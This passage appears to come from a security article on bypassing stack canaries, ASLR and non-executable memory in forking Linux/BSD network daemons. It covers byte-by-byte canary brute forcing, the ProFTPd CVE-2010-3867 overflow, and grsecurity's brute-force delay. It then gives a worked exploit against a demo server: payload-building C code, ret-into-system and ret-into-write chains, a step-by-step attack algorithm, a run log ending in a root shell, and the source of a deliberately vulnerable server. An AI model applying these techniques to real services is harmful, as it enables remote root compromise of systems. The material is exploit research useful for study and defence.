uintptr_t ret;

#ifdef ENABLE_STACKGUARD_RANDOMIZE

int fd = __open ("/dev/urandom", O_RDONLY);

if (fd >= 0)

{

ssize_t reslen = __read (fd, &ret, sizeof (ret)); __close (fd);

if (reslen == (ssize_t) sizeof (ret))

return ret;

}

#endif

ret = 0;

unsigned char *p = (unsigned char *) &ret;

p[sizeof (ret) ‑ 1] = 255;

p[sizeof (ret) ‑ 2] = '\n';

return ret;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If the macro ENABLE_STACKGUARD_RANDOMIZE is enabled, the function open the device "/dev/urandom", read sizeof(uintptr_t) bytes and return them. Otherwise of if this operation is not successful, a terminator canary is generated. First it put the value 0x00 in the variable ret. Next it changes two bytes to the value 0xFF and 0xa. Finally the terminator canary will always be 0x00000aff.

Now if we go to the definition of function _dl_setup_stack_chk_guard() for other operating systems we see:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#include <stdint.h>

static inline uintptr_t __attribute__ ((always_inline)) _dl_setup_stack_chk_guard (void)

{

uintptr_t ret = 0;

unsigned char *p = (unsigned char *) &ret;

p[sizeof (ret) ‑ 1] = 255;

p[sizeof (ret) ‑ 2] = '\n';

p[0] = 0;

return ret;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So this function always generates a terminator canary value.

Conclusion

‑‑‑‑‑‑‑‑‑‑

Either the canary is fully random and unpredictable (assuming /dev/urandom is safe which is a fair assumption) or it's constant and weak (weaker than stackguard) but nontheless troublesome in some kind of situations.

The storage of its value is dependant on the TLS which itself is not at fixed location (and the virtual address is never leaked in the code thanks to the segment selector trick) which means that it could hardly be leaked.

‑‑‑[ 3.3 ‑ Exploiting canaries remotely

Usually networks daemons create a new thread by calling clone() or a new process by calling fork() to support a new connection. In the case of fork() and depending on the daemon, the child process may or may not call execve() which means that it will be in one the two situations:

1. without execve()

[mother]

‑‑‑‑‑‑‑‑> accept()

| |

| | <‑ new connection

| |

| fork()

| | |

| mother | | child

‑‑‑‑‑‑‑‑‑‑‑| |

|

read()

|

...

...

2. with execve()

[mother]

‑‑‑‑‑‑‑‑> accept()

| |

| | <‑ new connection

| |

| fork()

| | |

| mother | | child

‑‑‑‑‑‑‑‑‑‑‑| |

|

execve()

|

|

read()

|

...

...

Note 1: OpenSSH is a good example of the second example.

Note 2: Of course there is also the possibility that the server is using select() instead of accept(). In such case, there is of course no fork().

As stated by the man page:

*) the fork() system call creates a duplicate of the calling process which means that father and child share a same canary as this is a per‑process‑canary and not a per‑function‑canary mechanism. This is an interesting property as if for each attempt we were able to guess a little of the canary then with a finite number of guesses we would be successful.

*) when execve() is called "text, data, bss, and stack of the calling process are overwritten by that of the program loaded." This implies that the canary is different for each child. As a result, being able to guess a little of the child canary is most likely useless as this will result in a crash and any result wouldn't be applicable to the next child.

Considering 32‑bits architecture, the number of possible canaries is up to 2^32 (2^24 on Ubuntu) which is around 4 billions (respectively 16 millions) which is impossible to test remotely while feasible locally in a few hours.

What should one do? Ben Hawkes [9] suggested an interesting method: brute forcing with a byte‑by‑byte technique which is much more effective. When can we use it? As we have mentioned, the canary does not change while fork()'ing whereas with execve() it does. As a result guessing one byte after an other requires that the fork() is not followed by an execve() call.

Here is the stack of the vulnerable function:

| ..P.. | ..P.. | ..P.. | ..P.. | ..C.. | ..C.. | ..C.. | ..C.. |

P ‑ 1 byte of buffer

C ‑ 1 byte of canary

First, we overwrite the first byte of canary and we check when the program ends with an error and when does not. It could be done in several ways. Hawkes proposed to estimate the program's answer time: whenever it misses the canary's byte, the program ends immediately. When the canary's byte matches, the program will still run, so its ending time is much longer than in the first case. We do not necessarily have to use that technique. It often happens that after calling the function, the server (daemon) sends us back some responses as the result of an operation. All we need to do is to check whether an expected data is received by the socket. If it is the expected one, it means we've got the correct canary's byte and we can move to the next one.

Because 1 byte can have 256 different values at most, it becomes a relative calculus. Knowing the first byte's value, we have to guess 256 different possibilities for the following bytes which means that the whole cookie could be guessed in 4*256 = 1024 combinations which is reasonable.

Here is the drawing of the four steps (each being a particular byte guess):

First byte:

| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..C.. | ..C.. | ..C.. |

Second byte:

| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..C.. | ..C.. |

Third byte:

| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..Z.. | ..C.. |

Fourth byte:

| ..P.. | ..P.. | ..P.. | ..P.. | ..X.. | ..Y.. | ..Z.. | ..A.. |

When the attack is finished, we know that the canary's value is XYZA. With this knowledge we are then able to continue the attack of the application. Overwriting data, we put the canary's value in the canary's location. Since the canary is overwritten by its original value, the memory corruption is not detected.

The easiest and simplest way to find the canary's location is nothing else than testing. If we know that we can overwrite a 100 bytes buffer, we actually send a fake packet with 101 bytes length and we check the answer in the same way as we did while discussing theory of breaking the canary's value. If the program does NOT crash, it means that we have overwritten something else than the canary with high probability (we could also have overwritten the first byte of the canary with the correct value). Continuing to increase the amount of overwritten bytes, the program will finally stop running so we will know where the canary's value begins.

Mitigation

‑‑‑‑‑‑‑‑‑‑

When will this technique not work? Every time we can't fully control the overwritten bytes. For example you may not be able to control the last character of your buffer or you may be have to deal with filtering (if NULL bytes are prohibited then it's over).

A good example of such a situation is the latest pre‑auth ProFTPd bug (CVE‑2010‑3867) discovered by TJ Saunders. The bug lies in the parsing of TELNET_IAC chars because of miscalculated end of reading loop. Let's look at this bug closer.

The problem lies in the function pr_netio_telnet_gets() from the file "src/netio.c":

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

char *pr_netio_telnet_gets(char *buf, size_t buflen, pr_netio_stream_t *in_nstrm, pr_netio_stream_t *out_nstrm) { char *bp = buf;

...

[L1] while (buflen) {

...

toread = pr_netio_read(in_nstrm, pbuf‑>buf, (buflen < pbuf‑>buflen ? buflen : pbuf‑>buflen), 1); ...

[L2] while (buflen && toread > 0 && *pbuf‑>current != '\n' && toread‑‑) {

...

if (handle_iac == TRUE) {

switch (telnet_mode) {

case TELNET_IAC:

switch (cp) {

...

...

default:

...

*bp++ = TELNET_IAC;

[L3] buflen‑‑;

telnet_mode = 0; break;

}

...

}

}

*bp++ = cp;

[L4] buflen‑‑;

}

...

...

*bp = '\0';

return buf;

}

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The loop [L2] reads and parses the bytes. Each time it decrements buflen [L4]. A problem exists when TELNET_IAC character comes (0xFF). When this character occurs in the parsing buflen is decremented [L3]. As a result in this situation, buflen is decremented by 2 which is perfect to bypass an inappropriate check in [L1]. Indeed, when buflen == 1 if the parsed character is TELNET_IAC then buflen = 1 ‑ 2 = ‑1. As a result, the "while (buflen && " condition of [L1] holds and the copy continues (until an '\n' is found).

The function pr_netio_telnet_gets() is called by function pr_cmd_read() from file "src/main.c":

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

int pr_cmd_read(cmd_rec **res) {

static long cmd_bufsz = ‑1;

char buf[PR_DEFAULT_CMD_BUFSZ+1] = {'\0'};

...

while (TRUE) {

...

if (pr_netio_telnet_gets(buf, sizeof(buf)‑1, session.c‑>instrm, session.c‑>outstrm) == NULL) {

...

}

...

...

return 0;

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In this case the argument for the vulnerable function is a local buffer on the stack. So this is a classical stack buffer overflow bug. In theory all conditions are met to bypass pro‑police canary using the byte‑by‑byte technique. But if we look closer to the vulnerable function we see this code:

*bp = '\0';

... which break the idea of using a byte‑by‑byte attack. Why? Because we can never control the last overflowed byte which is always 0x00, only the penultimate.

Additionally, the 'byte‑by‑byte' method requires that all children have a same canary. This is not possible if the children are calling execve() as explained earlier. In such a situation, a bruteforce attack is quite unlikely to succeed. Of course we could try to guess 3 bytes each time if we had a lot of time... but it would means a one shot attack afterward since multiplying the complexity of both attempts would require too much time.

Finally, grsecurity provides an interesting security feature to prevent this kind of exploitation. Considering the fact that the bruteforce will necessarily result in the crash of children, then a child dying with SIGILL (such as if PaX killed it for example) is highly suspicious. As a result, while in do_coredump() the kernel set a flag in the parent process using the gr_handle_brute_attach() function. The next forking attempt of the parent will then be delayed. Indeed in do_fork() the task is set in the TASK_UNINTERRUPTIBLE state and put to sleep for (at least) 30s.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+void gr_handle_brute_attach(struct task_struct *p)

+{

+#ifdef CONFIG_GRKERNSEC_BRUTE

+read_lock(&tasklist_lock);

+read_lock(&grsec_exec_file_lock);

+if (p‑>p_pptr && p‑>p_pptr‑>exec_file == p‑>exec_file)

+p‑>p_pptr‑>brute = 1;

+read_unlock(&grsec_exec_file_lock);

+read_unlock(&tasklist_lock);

+#endif

+return;

+}

+

+void gr_handle_brute_check(void)

+{

+#ifdef CONFIG_GRKERNSEC_BRUTE

+if (current‑>brute) {

+set_current_state(TASK_UNINTERRUPTIBLE);

+schedule_timeout(30 * HZ);

+}

+#endif

+return;

+}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

While this mechanism has its limit (SIGILL is the only signal to trigger the delay), it proves itself effective to slow down an attacker.

‑‑[ 4 ‑ A few words about the other protections

When the daemon is forking without calling execve() we can bypass SSP because we can discover the "random" value of the canary, but we still have to deal with non‑exec memory and ASLR.

Executable Space Protection

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The 10th of August 1997 Solar Designer's post in bugtraq mailing list introduced the ret‑into‑libc attack which allows to bypass non‑exec memory restriction [11]. The technique was later enhanced by nergal in his phrack paper [10] in which he introduced many new and now well known concepts still in use nowadays such as:

*) Chaining. The consecutive call of several functions. [10] describes the necessary stack layout to perform such a thing on x86. The concept was later extended to other architectures and "gadgets" (ROP) were introduced.

*) The use of mprotect() which was introduced as a counter measure against PaX and still effective on some systems (though not on PaX itself).

*) dl‑resolve() which allows to call functions of the shared library even when they don't have an entry in the PLT.

Ok ‑ so we know the technique that we should use to bypass non‑executable memory but we still have a few problems. We don't know the address of the function that should be called (typically a system()‑like) and the address of the argument(s) for this function.

At that point as an attacker you may have three solutions:

*) You can try to bruteforce. Obviously and as stated many times, you should only bruteforce the strict necessary which is usually an offset from which you can deduce the missing addresses. Interesting information though a bit outdated on how you could perform this are given in [12].

*) You find some way to perform an info leak. Depending on the situation this can be tricky (though not always) especially on modern systems where daemons are often compiled as PIE binaries. For example on recent Ubuntu, by default most daemons are PIE binaries. As a result, it's no more possible to use fixed address in the code/data segment of the program.

*) You can exploit the memory layout to find some clever way to reduce the amount of parameters to guess. Depending on the context, a deep study of the program may be necessary.

The important thing to remember is that there is no generic technique, a clever bug exploitation is highly dependant of the context induced by the program itself. This is especially true with modern memory protections.

ASLR: Taking advantage of fork()

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As explained earlier the address space of the child process is a copy of its parent. However this is no longer the case if the child performs an execve() as the process is then completely reloaded and the address space is then totally unpredictable because of the ASLR.

From a mathematical point of view, guessing an address is a: ‑ sampling without replacement (in fork() only situations) ‑ sampling with replacement (in fork() followed by execve() situation)

In the case of PIE network daemons, you have at least two distincts sources of entropy:

*) the cookie: 24 bits or 32 bits on 32 bit OS

*) the ASLR: 16 bits for mmap() randomization with PaX (in PAGEEXEC case) on 32 bit OS

(Last claim is proved by the following patch extract)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+#ifdef CONFIG_PAX_ASLR

+if (current‑>mm‑>pax_flags & MF_PAX_RANDMMAP) {

+current‑>mm‑>delta_mmap = (pax_get_random_long() & ((1UL << PAX_DELTA_MMAP_LEN)‑1)) << PAGE_SHIFT; +current‑>mm‑>delta_stack = (pax_get_random_long() & ((1UL << PAX_DELTA_STACK_LEN)‑1)) << PAGE_SHIFT; +}

+#endif

+#define PAX_DELTA_MMAP_LEN(current‑>mm‑>pax_flags

& MF_PAX_SEGMEXEC ? 15 : 16)

+#define PAX_DELTA_STACK_LEN(current‑>mm‑>pax_flags

& MF_PAX_SEGMEXEC ? 15 : 16)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Note: ET_DYN object randomization is performed using the delta_mmap offset. We will see in chapter 5 that we need to guess this parameter.

Now the main idea is that without execve() the expected number of trials to perform the attack is the sum of the number of attempts required to guess the canary and the memory layout. With execve() it's their product.

Example:

Exploiting the proftpd bug on an Ubuntu 10.04 + PaX with: ‑ no byte‑by‑byte

‑ no execve()

‑ cookie has a null byte

‑ binary is compiled as PIE

It should require an average of 2^24 + 2^16 attempts (if binary is PIE). From a complexity point of view, we could say that guessing both values is as hard as guessing the cookie.

Note: Last minute update. It seems that proftpd is not compiled as PIE in common distributions/Unix (according to many exploits targets).

‑‑‑[ 5. Hacking the PoC

As a proof of these scribbles let's study and exploit an example of a vulnerable server (complete code is in appendix). A trivial stack overflow was emulated in the following function:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

int vuln_func(char *args, int fd, int ile) {

char buf[100];

memset(buf, 0, sizeof buf);

if ( (strncmp(args,"vuln",4)) == 0) { [L1] #ifdef __DEBUG

stack_dump("BEFORE", buf); [L2]

#endif

write(fd,"Vuln running...\nCopying bytes...",32);

memcpy(buf,args+5,ile‑5); [L3]

#ifdef __DEBUG

stack_dump("AFTER", buf); [L4]

#endif

write(fd,"\nDONE\nReturn to the main loop\n",30); [L5] return 1;

}

else if ( (strncmp(args,"quit",4)) == 0) { write(fd,"Exiting...\n",11);

return 0;

}

else {

write(fd,"help:\n",6);

write(fd," [*] vuln <args>\n",17);

write(fd," [*] help\n",10);

write(fd," [*] quit\n",10);

return 1;

}

}

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Let's analyze a bit this function:

*) The bug is triggered when an attacker supplies a "vuln XXXXX" with a large enough "XXXXX" (> 100 bytes). [L1, L3]

*) The attacker is fully able to control his payload without restrictions (no payload filtering, no overflow restriction)

*) When the overflow takes place, we possibly overwrite some local variables which may induce a bug in [L5] and possibly crash the program.

Note: Because of the fork(), debugging can be tedious. As a result I added a function to leak the stack layout in a file both before and after the overflow.

The program was compiled with ‑fstack‑protector‑all and ‑fpie ‑pie which means that we will have to exploit the program with:

*) Non exec + full ASLR (code and data segments are also randomized) *) Stack canary

*) Ascii armored protection

Depending on the Unix target, some of these protections may or may not be effective. However we will assume that they are all activated.

Taking advantage of fork()

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The first process of the exploitation is obviously to guess the stack cookie. As said earlier, fork() will grant us children with the same address space. As a result we will be able to guess the cookie with the technique described in 3.3 which allows us to arbitrary overwrite anything (including of course the saved EIP).

In a second time, we need to find an address in which returning. One of the best solution is to return into a function of the .text which would generate some network activity. However the server is a PIE binary thus an ET_DYN ELF object. As a result, the address of this function has to be guessed.

Now assuming that we have the original binary (fair assumption), the offset of the function is known which means that we only need to bruteforce the load address of the ELF object. Since such an address is aligned on PAGE_SIZE basis, on a 32bits architecture the 12 less significant bits are all 0.

For example consider the following code:

10be: e8 fc ff ff ff call 10bf <main+0x2f3> 10c3: c7 44 24 08 44 00 00 movl $0x44,0x8(%esp)

^^‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ last byte value. not randomised at all

^‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ last half value. bottom nibble is not

randomised

Additionally if Ascii Armour protection is used, the most significant byte of the address will be 0x00 (something which does not happen under PaX).

The conclusion is that the amount to bruteforce is so small that it can be done in a couple of seconds/minutes through the network.

Studying the stack layout

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Thanks to our debugging function, it's easy to see the stack layout when the crash occurs. Here is the layout on an Ubuntu 10.04 before the overflow:

bfa38648: 00000000 00000000 00000000 00000000 bfa38658: 00000000 00000000 00000000 00000000 bfa38668: 00000000 00000000 00000000 00000000 bfa38678: 00000000 00000000 00000000 00000000 bfa38688: 00000000 00000000 00000000 00000000 bfa38698: 00000000 00000000 00000000 00000000 bfa386a8: 00000000 8c261700 00000004 005cdff4 bfa386b8: bfa387f8 005cbec1 bfa386f4 00000004 bfa386c8: 0000005f 00000000 00258be0 00257ff4 bfa386d8: 00000000 0000005f 00000003 00000004 bfa386e8: 0000029a 00000010 00000000 6e6c7576

We can thus see that:

*) The cookie (0x8c261700) is at 0xbfa386ac.

*) The return address is 0x005cbec1

*) The argument of vuln_func() are (0xbfa386f4, 0x4 and 0x5f)

There is a really nice way to take advantage of this situation. If we chose to return into the 'call vuln_func()' instruction then the arguments will be reused and the function replayed which will generate the needed network flow to detect the right value of the base address. Here is the C code building our payload:

addr_callvuln = P_REL_CALLVULN + (base_addr << 12);

*(buf_addr++) = canary;

*(buf_addr++) = addr_callvuln; // <‑‑ dummy

*(buf_addr++) = addr_callvuln; // <‑‑ dummy

*(buf_addr++) = addr_callvuln; // <‑‑ dummy

*(buf_addr++) = addr_callvuln; // <‑‑ ret‑into‑callvuln!

Note: Overwriting the next 4 bytes (args) with addr_callvuln is also possible. Depending on the situation (whether you have the binary or not), it can be an option to help with the bruteforce.

Returning‑into‑system

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Now the idea is to get the shell. Since we know the load address, the only thing that needs to be done is to call a function which will give us a shell. Again this is very specific to the daemon that you need/want to exploit but in this case, I exploited the use of system(). Indeed in the code you can find:

c8d: e8 d6 fb ff ff call 868 <system@plt>

^‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ cool offset

One may object that there is also the system parameter to find but "args" is on the stack and pointing to a user controlled buffer which means that we can do a return‑into‑callsystem(args).

Note: In this case we were lucky (it was not done on purpose!) but the following situation could also have occurred:

int vuln_func(int fd, char *args, int ile);

In this case, the layout would be...

[ ....

[ old_ebp ]

[ old_eip ]

[ fd ]

[ args ]

[ ile ]

[ ....

This would make no difference as we could use a return‑into‑ret and overwrite fd with callsystem. An other solution would be to deduce the address of the system() entry in the PLT and to call it as its first argument would be "args" (classical return‑into‑func).

Note: It may happen in real life situation that you have no stack address at disposal. Thus there are 2 solutions:

*) You bruteforce this address. It's lame. But sometimes you have no other options (like when the overflow is limited which restricts your ability to performed chained return‑into‑*.

*) You create a new stack frame somewhere in the .data section. Knowing the loading address of the ELF object, it's easy to locate the .data section. You would thus be able to create a whole fake stack frame using a chained return‑into‑read(fd, &newstack_in_data, len) and then finally switch the stack using a leave‑ret sequence. Fun and 100% cool.

It that all? Not quite. We need to be sure that we will be able to reach the 'ret' before crashing. Let's have a look at the epilogue of the function:

objdump ‑‑no‑show‑raw‑insn ‑Mintel ‑d ./s

fb1: call 8f8 <memcpy@plt>

fb6: lea eax,[ebp‑0x70] ; the overflow occurred fb9: mov DWORD PTR [esp+0x4],eax

fbd: lea eax,[ebx‑0x1bdf]

fc3: mov DWORD PTR [esp],eax

fc6: call 10ca <stack_dump>

fcb: mov DWORD PTR [esp+0x8],0x1e

fd3: lea eax,[ebx‑0x1bd8]

fd9: mov DWORD PTR [esp+0x4],eax

fdd: mov eax,DWORD PTR [ebp+0xc] ; we control the fd fe0: mov DWORD PTR [esp],eax

fe3: call 878 <write@plt>

fe8: mov eax,0x1

fed: jmp 10b0 <vuln_func+0x1b1>

[...]

10b0: mov edx,DWORD PTR [ebp‑0xc]

10b3: xor edx,DWORD PTR gs:0x14

10ba: je 10c1 <vuln_func+0x1c2>

10bc: call 1280 <__stack_chk_fail_local>

10c1: add esp,0x94

10c7: pop ebx ; interesting 10c8: pop ebp

10c9: ret

The deadlisting is quite straightforward. The only local variable that is trashed is the fd used by write(). Does it matter? No. In the worst case, the write() will return an EBADF error.

What about the ebx register? Well as a matter of fact, it is important to restore its value since it's a PIE. Indeed ebx is used as a global address:

00000868 <system@plt>:

868: jmp DWORD PTR [ebx+0x20] ; ebx is pointing on the PLT

got.plt)

86e: push 0x28

873: jmp 808 <_init+0x30>

It's no big deal since the address of the .got.plt section is exactly: load_addr + the memory offset (cf. readelf ‑S). Here is the final stack frame:

*(buf_addr++) = 0x00000004;

*(buf_addr++) = (P_REL_GOT + (base_addr << 12)); // used by the GOT.

*(buf_addr++) = 0x41414141;

*(buf_addr++) = system_addr;

//Here is the buffer address

When there is no system()

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The previous situation was a bit optimistic. Indeed when system() is not used in the program, there is obviously no "call system" instruction (and no corresponding PLT entry either). But it's no big deal a return‑into‑write‑like() function is always possible as illustrated below:

*(buf_addr++) = 0x00000004;

*(buf_addr++) = (P_REL_GOT + (base_addr << 12)); *(buf_addr++) = 0x41414141;

*(buf_addr++) = write_addr; // retun into call_write(fd, buf, count)

*(buf_addr++) = 0x00000004; // fd

*(buf_addr++) = some_addr; // buf

*(buf_addr++) = 0x00000005; // count

With such a primitive it's easy to info leak anything needed. This could allow you to perform a return‑into‑dl‑resolve() as illustrated in [10]. The implementation of this technique with the PoC exploit is left as an exercise for the reader.

Final algorithm

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So in the end the final algorithm is:

1) Looking for the distance needed to reach the canary of the death 2) Finding the value of this canary using a 'byte‑by‑byte' brute force method

3) Using the value of this canary to legitimate overflows, we should start finding the code segment by returning in a function leaking information. 4) Deducing everything needed using the load address

5) Build a new chained return‑into‑* attack and get the shell!

And it should give you something like that:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[root@pi3‑test phrack]# gcc s.c ‑o s ‑fpie ‑pie ‑fstack‑protector‑all [root@pi3‑test phrack]# ./s

start

Launched into background (pid: 32145)

[root@pi3‑test phrack]#

...

...

child 32106 terminated

sh: vuln: nie znaleziono polecenia

[pi3@pi3‑test phrack]$ gcc moj.c ‑o moj

[pi3@pi3‑test phrack]$ ./moj ‑v 127.0.0.1

...::: ‑=[ Bypassing pro‑police PoC for server by Adam 'pi3 (pi3ki31ny)' Zabrocki ]=‑ :::...

[+] Trying to find the position of the canary... [+] Found the canary! => offset = 101 (+11)

[+] Trying to find the canary...

[+] Found byte! => 0x8e

[+] Found byte! => 0x17

[+] Found byte! => 0xa4

[+] Found byte! => 0xd7

[+] Overwriting frame pointer (EBP?)...

[+] Overwriting instruction pointer (EIP?)... [+] Starting bruteforce...

[+] Success! :) (0x110eee0a)

‑> @call_write = 0x110eed6c

‑> @call_system = 0x110eeb9b

[+] Trying ret‑into‑system...

[+] Connecting to bindshell...

pi3 was here :‑)

Executing shell...

uid=0(root) gid=0(root) grupy=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) Linux pi3‑test 2.6.32.13‑grsec #1 SMP Thu May 13 17:07:21 CEST 2010 i686 i686 i386 GNU/Linuxexit;

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The demo exploit can be found in the appendix. It was tested on many systems including:

*) Linux (Fedora 10, Fedora 11, Fedora 12)

*) Linux with PaX patch (2.6.32.13‑grsec)

*) OpenBSD (4.4, 4.5, 4.6)

*) FreeBSD (7.x)

‑‑‑[ 6 ‑ Conclusion

Due to modern protections, classical methods of exploitation may or may not be sufficient to exploit remote stack overflows. We saw that in the context of fork()‑only daemons a few conditions were sometimes sufficient for that purpose.

At this moment I want to send some greetings... I know it is lame and unprofessional ;)

‑> Ewa ‑ moja kochana dziewczyna ;)

‑> Akos Frohner, Tomasz Janiczek, Romain Wartel ‑ you are good friends ;) ‑> snoop, phunk, thorkill, Piotr Bania, Gynvael Coldwind, andrewg, and #plhack@IRCNET

"... opetani samotnoscia..."

Best regards Adam Zabrocki. ‑ "Ja tylko sprzatam..."

‑‑‑[ 7 ‑ References

[1] http://phrack.org/issues.html?issue=56&id=5#article

[2] The Shellcoder's Handbook ‑ Chris Anley, John Heasman, Felix "FX" Linder, Gerardo Richarte

[4] http://marc.info?m=97288542204811

[5] http://pax.grsecurity.net

[6] http://www.trl.ibm.com/projects/security/ssp/

[7] http://gcc.gnu.org/gcc‑4.1/changes.html

[8] http://xorl.wordpress.com/2010/10/14/linux‑glibc‑stack‑canary‑values/

[9] http://sota.gen.nz/hawkes_openbsd.pdf

[10] http://www.phrack.org/issues.html?issue=58&id=4

[11] http://seclists.org/bugtraq/1997/Aug/63

[12] http://phrack.org/issues.html?issue=59&id=9#article

[13] http://www.phrack.org/issues.html?issue=63&id=14

‑‑‑[ 8 ‑ Appendix ‑ PoC

‑‑‑[ 8.1 ‑ The server (s.c)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ CUT ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

* This is simple server which is vulnerable to stack overflow attack. * It was written for demonstration of the remote stack overflow attack in * modern *NIX systems ‑ bypass everything ‑ ASLR, AAAS, ESP, SSP * (ProPolice).

*

* Best regards,

* Adam Zabrocki

* ‑‑

* pi3 (pi3ki31ny) ‑ pi3 (at) itsec pl

* http://pi3.com.pl

*

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <errno.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <signal.h>

#include <sys/wait.h>

#include <unistd.h>

#define PORT 666

#define PIDFILE "/var/run/vuln_server.pid"

#define err_sys(a) {printf("%s[%s]\n",a,strerror(errno));exit(‑1);} #define SA struct sockaddr

#define SRV_BANNER "Some server launched by root user\n"

int vuln_func(char *, int, int);

void stack_dump(char *, char *);

void sig_chld(int);

int main(void)

{

int status,dlugosc,port=PORT,connfd,listenfd,kupa; struct sockaddr_in serv,client;

char buf[200];

pid_t pid;

FILE *logs;

if ( (listenfd=socket(PF_INET, SOCK_STREAM, 0)) < 0) err_sys("Socket() error!\n");

bzero(&serv,sizeof(serv));

bzero(&client,sizeof(client));

serv.sin_family = PF_INET;

serv.sin_port = htons(port); serv.sin_addr.s_addr=htonl(INADDR_ANY);

if ( (bind(listenfd,(SA*)&serv,sizeof(serv))) != 0 ) err_sys("Bind() error!\n");

if ((listen(listenfd,2049)) != 0)

err_sys("Listen() error!\n");

system("echo start");

status=fork();

if (status==‑1) err_sys("[FATAL]: cannot fork!\n");

if (status!=0) {

logs=fopen(PIDFILE, "w");

fprintf(logs,"pid = %u",status); printf("\nLaunched into background (pid: %d)\n\n", status); fclose(logs);

logs=NULL;

return 0;

}

status=0;

signal (SIGCHLD,sig_chld);

for (;;) {

dlugosc = sizeof client;

if((connfd=accept(listenfd,(SA*)&client,(socklen_t *)&dlugosc))< 0) err_sys("accept error !\n");

if ( (pid=fork()) == 0) {

if ( close(listenfd) !=0 ) err_sys("close error !\n");

write(connfd, SRV_BANNER, strlen(SRV_BANNER));

for (;;) {

bzero(buf,sizeof(buf));

kupa = recv(connfd, buf, sizeof(buf), 0); if ( (vuln_func(buf,connfd, kupa)) != 1) break;

}

close(connfd);

exit(0);

}

else

close(connfd);

}

}

int vuln_func(char *args, int fd, int ile) {

char buf[100];

memset(buf, 0, sizeof buf);

if ( (strncmp(args,"vuln",4)) == 0) {

#ifdef __DEBUG

stack_dump("BEFORE", buf);

#endif

write(fd,"Vuln running...\nCopying bytes...",32); memcpy(buf,args+5,ile‑5);

#ifdef __DEBUG

stack_dump("AFTER", buf);

#endif

write(fd,"\nDONE\nReturn to the main loop\n",30); return 1;

}

else if ( (strncmp(args,"quit",4)) == 0) { write(fd,"Exiting...\n",11);

return 0;

}

else {

write(fd,"help:\n",6);

write(fd," [*] vuln <args>\n",17);

write(fd," [*] help\n",10);

write(fd," [*] quit\n",10);

return 1;

}

}

void stack_dump(char *header, char *buf)

{

int i;

unsigned int *p = (unsigned int *)buf;

FILE *fp;

fp=fopen("./dupa.txt","a");

fprintf(fp,"%s\n",header);

for (i=0;i<240;)

{

fprintf(fp,"%.8x: %.8x %.8x %.8x %.8x\n", (unsigned int)p, *p, *(p+1), *(p+2), *(p+3));

p += 4;

i += sizeof(int) *4;

}

fprintf(fp,"\n");

fclose(fp);

return;

}

void sig_chld(int signo)

{

pid_t pid;

int stat;

